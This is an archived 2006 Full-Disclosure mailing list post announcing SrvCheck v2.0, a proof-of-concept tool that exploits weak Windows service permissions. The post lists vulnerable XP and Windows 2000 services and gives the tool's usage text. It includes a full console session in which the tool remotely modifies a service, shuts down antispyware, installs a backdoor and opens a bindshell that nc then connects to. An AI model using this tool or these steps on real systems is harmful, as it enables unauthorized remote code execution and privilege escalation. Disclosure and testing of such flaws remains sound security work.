full-disclosure - Privilege Scalation for Windows Networks using weak Service restrictions v2.0 exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Sun Feb 12 18:28:23 2006
From: atarasco at gmail.com (Andres Tarasco)
Subject: Privilege Scalation for Windows Networks using
	weak Service restrictions v2.0 exploit

 Proof of concept of Sudhakar Govindavajhala and Andrew Appel paper (
http://www.cs.princeton.edu/~sudhakar/papers/winval.pdf) Running as an
unprivileged user you can test if your services are vulnerable and can be
used to install a backdoor. Both source code and binary included
*Microsoft advisory:
http://microsoft.com/technet/security/advisory/914457.mspx*

*SrvCheck v2.0 is able to perform this checks remotely using for example
domain user credentials*
*Here is a short list of Known vulnerable services under XP sp2:*

*- Advanced User: *
service: DcomLaunch ( SYSTEM )
Service: UpnpHost ( Local Service )
Service: SSDPSRV (Local Service)
*- User: *
Service: UpnpHost ( Local Service )
Service: SSDPSRV (Local Service)
*- Network Config Operators:*
service: DcomLaunch ( SYSTEM )
Service: UpnpHost ( Local Service )
Service: SSDPSRV (Local Service)
Service: DHCP ( SYSTEM )
Service: NetBT (SYSTEM - .sys driver)
Service DnsCache (SYSTEM)

*Windows 2000 Professional SP4:*

*- Power User: *
service: WMI - Windows Management Instrumentation Driver Extensions ( SYSTEM
)

*Third part Software:*

HP: "Pml Driver HPZ12"
Audodesk: "Autodesk Licensing Service" - maybe this one:
http://securityfocus.com/bid/16472


D:\Programaci?n\srvcheck2>srvcheck2.exe -?
 Services Permissions checker v2.0
 (c) 2006 Andres Tarasco - atarasco@...il.com

 Usage:
        -l               list vulnerable services
        -m <service>     modify the configuration for that service
        -c <command>     Command to execute throw remote service
                          by default. bindshell application will be used
        -H <Host>        specify a remote host to connect ip/netbiosname)
        -u <user>        if not seletected Default logon credentials used)
        -p <password>    if not used Default logon credentials used)
        -?               Extended information with samples
 examples:
        srvcheck.exe -l (list local vulnerabilities)
        srvcheck.exe -m service (spawn a shell at port 8080)
        srvcheck.exe -m service -c "cmd.exe /c md c:\PWNED"
        srvcheck -l -H host (list remote vulnerabilities)

D:\Programaci?n\srvcheck2>srvcheck2.exe -l -H 192.168.0.1
 Services Permissions checker v2.0
 (c) 2006 Andres Tarasco - atarasco@...il.com

[+] Trying to connect to remote SCM
[+] Host: \\192.168.0.1\IPC$
[+] Username: (null)
[+] Password: (null)
[+] Network Connection OK
[+] Listing Vulnerable Services...

    [Dhcp]              Cliente DHCP
    Status: 0x4
    Parameter:          C:\WINDOWS\System32\svchost.exe -k netsvcs

    [Dnscache]          Cliente DNS
    Status: 0x4
    Parameter:          C:\WINDOWS\System32\svchost.exe -k NetworkService

    [NetBT]             NetBios a trav?s de Tcpip
    Status: 0x4
    Parameter:          System32\DRIVERS\netbt.sys

    [SSDPSRV]           Servicio de descubrimientos SSDP
    Status: 0x1
    Parameter:          C:\WINDOWS\System32\svchost.exe -k LocalService

    [upnphost]          Host de dispositivo Plug and Play universal
    Status: 0x1
    Parameter:          C:\WINDOWS\System32\svchost.exe

[+] Analyzed 311 Services in your system
[+] You were Lucky. 5 vulnerable services found

D:\Programaci?n\srvcheck2>srvcheck2.exe -H 192.168.0.1 -m upnphost
 Services Permissions checker v2.0
 (c) 2006 Andres Tarasco - atarasco@...il.com

[+] Trying to connect to remote SCM
[+] Host: \\192.168.0.1\IPC$
[+] Username: (null)
[+] Password: (null)
[+] Network Connection OK
[+] Uninstalling previous backdoors
[+] Granting Remote bindshell Execution..
[+] Shutting down remote antispyware Service =)
[+] Installing Backdoor Code...
[+] The service have been succesfully modified =)
[+] Service Opened. Trying to Start... (wait a few seconds)
[+] StarteService() Error due to a non service application execution
[+] Ignore it. Your application should be executed =)
[+] Now connect to port 8080 and enjoy your new privileges

D:\Programaci?n\srvcheck2>nc localhost 8080
Microsoft Windows XP [Versi?n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>



regards,

Andres Tarasco
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060212/05dabdc2/attachment.html
-------------- next part --------------
A non-text attachment was scrubbed...
Name: srvcheck2.zip.REMOVE
Type: application/octet-stream
Size: 36799 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060212/05dabdc2/srvcheck2.zip.obj